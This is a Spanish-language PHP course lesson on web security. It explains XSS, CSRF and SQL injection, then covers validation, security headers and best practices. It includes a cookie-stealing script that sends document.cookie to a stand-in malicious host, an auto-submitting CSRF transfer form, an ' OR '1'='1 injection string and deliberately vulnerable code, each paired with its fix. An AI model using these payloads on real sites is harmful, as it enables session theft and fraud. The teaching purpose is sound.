20. Seguridad en Aplicaciones Web
La seguridad no es opcional. Es fundamental. Una aplicación insegura puede poner en riesgo los datos de tus usuarios, tu reputación y tu negocio. En esta lección veremos las vulnerabilidades más comunes y cómo protegerte contra ellas.
Regla de oro: Nunca confíes en los datos que vienen del usuario. Todo lo que llega desde formularios, URLs, cookies o cualquier entrada externa debe ser validado y sanitizado.
XSS (Cross-Site Scripting)
XSS es una de las vulnerabilidades más comunes. Ocurre cuando un atacante inyecta código JavaScript malicioso en tu sitio web que se ejecuta en el navegador de otros usuarios.
Ejemplo de vulnerabilidad XSS
Imagina que tienes un simple formulario de comentarios:
<?php
// ❌ CÓDIGO VULNERABLE - ¡NO USES ESTO!
if (isset($_POST['comentario'])) {
$comentario = $_POST['comentario'];
echo "<p>Tu comentario: $comentario</p>";
}
?>
<form method="post">
<textarea name="comentario"></textarea>
<button type="submit">Enviar</button>
</form>
Si un atacante envía este "comentario":
<script>
// Robar cookies de sesión
fetch('https://sitio-malicioso.com/robar.php?cookie=' + document.cookie);
</script>
El script se ejecutará en el navegador de cualquiera que vea ese comentario, enviando sus cookies (incluyendo sesiones) al atacante.
Protección contra XSS
La solución es usar htmlspecialchars() para escapar el HTML antes de mostrarlo:
<?php
// ✅ CÓDIGO SEGURO
if (isset($_POST['comentario'])) {
$comentario = $_POST['comentario'];
// htmlspecialchars convierte <script> en <script>
// El navegador lo muestra como texto, no lo ejecuta
echo "<p>Tu comentario: " . htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8') . "</p>";
}
?>
<form method="post">
<textarea name="comentario"></textarea>
<button type="submit">Enviar</button>
</form>
Ahora el navegador mostrará literalmente <script>...</script> como texto, sin ejecutarlo.
Regla simple: Usa
htmlspecialchars()siempre que muestres datos que vienen del usuario. Sin excepciones.
Ejemplo práctico completo
<?php
// Lista de comentarios (en una app real vendrían de la base de datos)
$comentarios = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset $_POST['comentario'])) {
$nuevoComentario = [
'texto' => $_POST['comentario'],
'fecha' => date('Y-m-d H:i:s'),
'autor' => $_POST['autor'] ?? 'Anónimo'
];
// En una app real, guardarías en la base de datos
$comentarios[] = $nuevoComentario;
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Comentarios seguros</title>
</head>
<body>
<h1>Comentarios</h1>
<?php foreach ($comentarios as $comentario): ?>
<div style="border: 1px solid #ccc; padding: 10px; margin: 10px 0;">
<strong><?= htmlspecialchars($comentario['autor'], ENT_QUOTES, 'UTF-8') ?></strong>
<p><?= htmlspecialchars($comentario['texto'], ENT_QUOTES, 'UTF-8') ?></p>
<small><?= htmlspecialchars($comentario['fecha'], ENT_QUOTES, 'UTF-8') ?></small>
</div>
<?php endforeach; ?>
<h2>Añadir comentario</h2>
<form method="post">
<label>
Nombre:
<input type="text" name="autor" required>
</label>
<br>
<label>
Comentario:
<textarea name="comentario" required></textarea>
</label>
<br>
<button type="submit">Publicar</button>
</form>
</body>
</html>
CSRF (Cross-Site Request Forgery)
CSRF es un ataque donde un sitio malicioso engaña al navegador del usuario para que haga peticiones no autorizadas a tu aplicación usando la sesión activa del usuario.
Ejemplo de ataque CSRF
Imagina que tienes un formulario para transferir dinero:
<?php
// ❌ VULNERABLE A CSRF
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Si el usuario está logueado, procesar transferencia
if (isset($_SESSION['usuario_id'])) {
$destinatario = $_POST['destinatario'];
$cantidad = $_POST['cantidad'];
// Transferir dinero (simplificado)
echo "Transferidos $$cantidad a $destinatario";
}
}
?>
Un atacante crea una página maliciosa con este código:
<!-- Página del atacante -->
<form action="https://tu-banco.com/transferir.php" method="post" id="ataque">
<input type="hidden" name="destinatario" value="atacante@mal.com">
<input type="hidden" name="cantidad" value="1000">
</form>
<script>
// Se envía automáticamente cuando la víctima visita esta página
document.getElementById('ataque').submit();
</script>
Si un usuario logueado en tu banco visita la página del atacante, su navegador enviará automáticamente la petición usando su sesión activa, ¡y se hará la transferencia sin que el usuario lo sepa!
Protección contra CSRF: Tokens
La solución es usar tokens CSRF únicos que se validan en cada petición:
<?php
session_start();
// Generar token CSRF si no existe
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Verificar token CSRF
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('Error: Token CSRF inválido. Posible ataque CSRF.');
}
// Token válido, procesar formulario de forma segura
if (isset($_SESSION['usuario_id'])) {
$destinatario = $_POST['destinatario'];
$cantidad = $_POST['cantidad'];
echo "Transferidos $$cantidad a $destinatario";
// Regenerar token después de usarlo (opcional pero recomendado)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Transferencia segura</title>
</head>
<body>
<h1>Transferir dinero</h1>
<form method="post">
<!-- Token CSRF oculto -->
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">
<label>
Destinatario:
<input type="email" name="destinatario" required>
</label>
<br>
<label>
Cantidad:
<input type="number" name="cantidad" min="1" required>
</label>
<br>
<button type="submit">Transferir</button>
</form>
</body>
</html>
Ahora el atacante no puede realizar la petición porque no conoce el token único generado para esa sesión.
Tip: En aplicaciones reales, crea una función helper para generar y validar tokens CSRF automáticamente en todos los formularios.
Función helper para CSRF
<?php
// csrf.php - Funciones helper para CSRF
/**
* Genera un token CSRF y lo guarda en la sesión
*/
function generarTokenCSRF(): string {
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
/**
* Valida el token CSRF recibido
*/
function validarTokenCSRF(string $token): bool {
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}
/**
* Genera el campo input hidden con el token CSRF
*/
function campoCSRF(): string {
$token = generarTokenCSRF();
return '<input type="hidden" name="csrf_token" value="' . htmlspecialchars($token) . '">';
}
?>
Uso:
<?php
require 'csrf.php';
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!validarTokenCSRF($_POST['csrf_token'] ?? '')) {
die('Token CSRF inválido');
}
// Procesar formulario de forma segura
echo "Formulario procesado correctamente";
}
?>
<form method="post">
<?= campoCSRF() ?>
<!-- resto del formulario -->
<button type="submit">Enviar</button>
</form>
SQL Injection (Refuerzo)
Ya vimos en lecciones anteriores cómo usar consultas preparadas para prevenir SQL Injection, pero vale la pena reforzar este concepto porque es crítico.
Recordatorio: Nunca concatenes datos del usuario en queries
// ❌ EXTREMADAMENTE PELIGROSO
$email = $_POST['email'];
$password = $_POST['password'];
$query = "SELECT * FROM usuarios WHERE email = '$email' AND password = '$password'";
$resultado = $pdo->query($query);
Si un atacante envía como email: ' OR '1'='1, la query se convierte en:
SELECT * FROM usuarios WHERE email = '' OR '1'='1' AND password = '...'
Como '1'='1' siempre es verdadero, el atacante puede acceder sin conocer ninguna contraseña.
Siempre usa consultas preparadas
// ✅ SEGURO
$email = $_POST['email'];
$password = $_POST['password'];
$stmt = $pdo->prepare("SELECT * FROM usuarios WHERE email = ? AND password = ?");
$stmt->execute([$email, $password]);
$usuario = $stmt->fetch();
Las consultas preparadas separan el SQL de los datos, haciendo imposible la inyección.
Validación y Sanitización
Validar es comprobar si los datos cumplen las reglas. Sanitizar es limpiar los datos para hacerlos seguros.
filter_var() y filter_input()
PHP tiene funciones built-in para validar y sanitizar:
<?php
// Validar email
$email = $_POST['email'] ?? '';
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo "Email válido: $email";
} else {
echo "Email inválido";
}
// Validar URL
$url = $_POST['url'] ?? '';
if (filter_var($url, FILTER_VALIDATE_URL)) {
echo "URL válida: $url";
} else {
echo "URL inválida";
}
// Validar entero
$edad = $_POST['edad'] ?? '';
if (filter_var($edad, FILTER_VALIDATE_INT, ['options' => ['min_range' => 18, 'max_range' => 120]])) {
echo "Edad válida: $edad";
} else {
echo "Edad inválida (debe ser entre 18 y 120)";
}
// Sanitizar string (eliminar tags HTML)
$nombre = $_POST['nombre'] ?? '';
$nombreLimpio = filter_var($nombre, FILTER_SANITIZE_STRING);
echo "Nombre sanitizado: $nombreLimpio";
?>
Validación de formulario completo
<?php
$errores = [];
$datos = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// Validar nombre (no vacío, solo letras y espacios)
$nombre = trim($_POST['nombre'] ?? '');
if (empty($nombre)) {
$errores['nombre'] = 'El nombre es obligatorio';
} elseif (!preg_match('/^[a-zA-ZáéíóúÁÉÍÓÚñÑ\s]+$/', $nombre)) {
$errores['nombre'] = 'El nombre solo puede contener letras';
} else {
$datos['nombre'] = htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
}
// Validar email
$email = trim($_POST['email'] ?? '');
if (empty($email)) {
$errores['email'] = 'El email es obligatorio';
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errores['email'] = 'El email no es válido';
} else {
$datos['email'] = $email;
}
// Validar edad
$edad = $_POST['edad'] ?? '';
if (!filter_var($edad, FILTER_VALIDATE_INT, ['options' => ['min_range' => 18, 'max_range' => 120]])) {
$errores['edad'] = 'La edad debe ser un número entre 18 y 120';
} else {
$datos['edad'] = (int)$edad;
}
// Si no hay errores, procesar
if (empty($errores)) {
echo "<p style='color: green'>¡Formulario válido! Datos: " . print_r($datos, true) . "</p>";
}
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Formulario validado</title>
<style>
.error { color: red; font-size: 0.9em; }
</style>
</head>
<body>
<form method="post">
<div>
<label>
Nombre:
<input type="text" name="nombre" value="<?= htmlspecialchars($_POST['nombre'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
</label>
<?php if (isset($errores['nombre'])): ?>
<span class="error"><?= $errores['nombre'] ?></span>
<?php endif; ?>
</div>
<div>
<label>
Email:
<input type="email" name="email" value="<?= htmlspecialchars($_POST['email'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
</label>
<?php if (isset($errores['email'])): ?>
<span class="error"><?= $errores['email'] ?></span>
<?php endif; ?>
</div>
<div>
<label>
Edad:
<input type="number" name="edad" value="<?= htmlspecialchars($_POST['edad'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
</label>
<?php if (isset($errores['edad'])): ?>
<span class="error"><?= $errores['edad'] ?></span>
<?php endif; ?>
</div>
<button type="submit">Enviar</button>
</form>
</body>
</html>
Headers de Seguridad
Los headers HTTP pueden añadir capas extra de seguridad a tu aplicación.
X-Frame-Options
Previene que tu sitio sea embebido en un iframe (protección contra clickjacking):
<?php
header('X-Frame-Options: DENY'); // No permite ningún iframe
// o
header('X-Frame-Options: SAMEORIGIN'); // Solo permite iframes del mismo dominio
?>
Content-Security-Policy (CSP)
Define qué recursos puede cargar tu página (scripts, estilos, imágenes):
<?php
// Solo permite scripts del mismo origen
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'");
?>
X-Content-Type-Options
Previene que el navegador "adivine" el tipo MIME de archivos:
<?php
header('X-Content-Type-Options: nosniff');
?>
Strict-Transport-Security (HSTS)
Fuerza el uso de HTTPS:
<?php
// Solo usar en producción con HTTPS configurado
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
?>
Ejemplo: Configurar todos los headers de seguridad
Crea un archivo que incluyas al inicio de todas tus páginas:
<?php
// security-headers.php
/**
* Configura headers de seguridad para la aplicación
*/
function configurarHeadersSeguridad(): void {
// Prevenir clickjacking
header('X-Frame-Options: SAMEORIGIN');
// Prevenir MIME sniffing
header('X-Content-Type-Options: nosniff');
// Content Security Policy básico
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'");
// Protección XSS del navegador (legacy, pero no hace daño)
header('X-XSS-Protection: 1; mode=block');
// HSTS solo en producción con HTTPS
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
header('Strict-Transport-Security: max-age=31536000; includeSubDomains');
}
}
configurarHeadersSeguridad();
?>
Uso:
<?php
require 'security-headers.php';
// Tu código aquí
?>
Mejores Prácticas Generales
1. Principio de mínimo privilegio
Dale a cada usuario, proceso o programa solo los permisos mínimos necesarios:
<?php
// ❌ Usuario de base de datos con todos los privilegios
// CREATE USER 'app'@'localhost' IDENTIFIED BY 'password';
// GRANT ALL PRIVILEGES ON *.* TO 'app'@'localhost';
// ✅ Usuario con solo los permisos necesarios
// CREATE USER 'app'@'localhost' IDENTIFIED BY 'password';
// GRANT SELECT, INSERT, UPDATE ON mi_base_datos.* TO 'app'@'localhost';
?>
2. No expongas información sensible en errores
<?php
// En producción
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', '/var/log/php_errors.log');
// En desarrollo
ini_set('display_errors', 1);
error_reporting(E_ALL);
?>
3. Usa HTTPS siempre
<?php
// Redirigir a HTTPS si no estamos en HTTPS
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
$redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header('Location: ' . $redirect, true, 301);
exit;
}
?>
4. Mantén PHP y las bibliotecas actualizadas
# Verificar versión de PHP
php -v
# Actualizar dependencias con Composer
composer update
5. No almacenes contraseñas en texto plano
<?php
// ❌ NUNCA hagas esto
$password = $_POST['password'];
$query = "INSERT INTO usuarios (email, password) VALUES (?, '$password')";
// ✅ Usa password_hash()
$password = $_POST['password'];
$hash = password_hash($password, PASSWORD_DEFAULT);
$stmt = $pdo->prepare("INSERT INTO usuarios (email, password) VALUES (?, ?)");
$stmt->execute([$email, $hash]);
// Verificar contraseña
$stmt = $pdo->prepare("SELECT password FROM usuarios WHERE email = ?");
$stmt->execute([$email]);
$usuario = $stmt->fetch();
if (password_verify($_POST['password'], $usuario['password'])) {
echo "Login exitoso";
}
?>
6. Límita intentos de login
<?php
session_start();
// Inicializar contador de intentos
if (!isset($_SESSION['login_intentos'])) {
$_SESSION['login_intentos'] = 0;
$_SESSION['login_bloqueado_hasta'] = 0;
}
// Verificar si está bloqueado
if (time() < $_SESSION['login_bloqueado_hasta']) {
$segundos_restantes = $_SESSION['login_bloqueado_hasta'] - time();
die("Demasiados intentos fallidos. Intenta de nuevo en $segundos_restantes segundos.");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$email = $_POST['email'];
$password = $_POST['password'];
// Verificar credenciales (simplificado)
$credencialesValidas = verificarCredenciales($email, $password);
if ($credencialesValidas) {
// Login exitoso, resetear intentos
$_SESSION['login_intentos'] = 0;
$_SESSION['usuario_id'] = 123;
echo "Login exitoso";
} else {
// Incrementar intentos fallidos
$_SESSION['login_intentos']++;
if ($_SESSION['login_intentos'] >= 5) {
// Bloquear por 15 minutos después de 5 intentos fallidos
$_SESSION['login_bloqueado_hasta'] = time() + (15 * 60);
echo "Demasiados intentos fallidos. Bloqueado por 15 minutos.";
} else {
$intentos_restantes = 5 - $_SESSION['login_intentos'];
echo "Credenciales incorrectas. Te quedan $intentos_restantes intentos.";
}
}
}
?>
Resumen: Checklist de Seguridad
Usa esta lista para revisar la seguridad de tu aplicación:
- [ ] XSS: Uso
htmlspecialchars()en todos los datos del usuario que muestro - [ ] CSRF: Implemento tokens CSRF en todos los formularios importantes
- [ ] SQL Injection: Uso consultas preparadas, nunca concateno SQL
- [ ] Validación: Valido todos los datos del usuario en el servidor
- [ ] Contraseñas: Uso
password_hash()ypassword_verify() - [ ] Sesiones: Uso
session_regenerate_id()después del login - [ ] Archivos: Valido tipo MIME real, tamaño y sanitizo nombres
- [ ] Headers: Configuré headers de seguridad (CSP, X-Frame-Options, etc.)
- [ ] HTTPS: Mi aplicación usa HTTPS en producción
- [ ] Errores: No muestro errores detallados en producción
- [ ] Permisos: Uso el principio de mínimo privilegio
- [ ] Actualizaciones: Mantengo PHP y dependencias actualizadas
Recuerda: La seguridad no es un destino, es un viaje. Siempre hay algo que mejorar. Mantente actualizado sobre nuevas vulnerabilidades y mejores prácticas.
Actividad 1
Crea un formulario de registro con validación completa:
- Nombre (obligatorio, solo letras)
- Email (obligatorio, formato válido, único en la base de datos)
- Contraseña (mínimo 8 caracteres, debe incluir mayúscula, minúscula y número)
- Confirmar contraseña (debe coincidir)
Implementa protección CSRF y almacena la contraseña con hash seguro.
Actividad 2
Crea un sistema de comentarios seguro:
- Los usuarios pueden publicar comentarios (protegido contra XSS)
- Los comentarios se guardan en una base de datos (protegido contra SQL Injection)
- El formulario tiene protección CSRF
- Los comentarios muestran la fecha y hora de publicación
- Implementa límite de caracteres (máximo 500)
Actividad 3
Mejora un sistema de login existente:
- Implementa límite de intentos de login (5 intentos máximo)
- Bloquea la cuenta por 30 minutos después de 5 intentos fallidos
- Regenera el ID de sesión después de un login exitoso
- Añade un botón "Recordarme" que use cookies seguras
- Implementa logout con destrucción completa de sesión
Este trabajo está bajo una licencia Attribution-NonCommercial-NoDerivatives 4.0 International.
Desafíos de programación atemporales y multiparadigmáticos
Te encuentras ante un librillo de actividades, divididas en 2 niveles de dificultad. Te enfrentarás a los casos más comunes que te puedes encontrar en pruebas técnicas o aprender conceptos elementales de programación.
Comprar el libro
Apóyame en Ko-fi
Comentarios
Todavía no hay ningún comentario.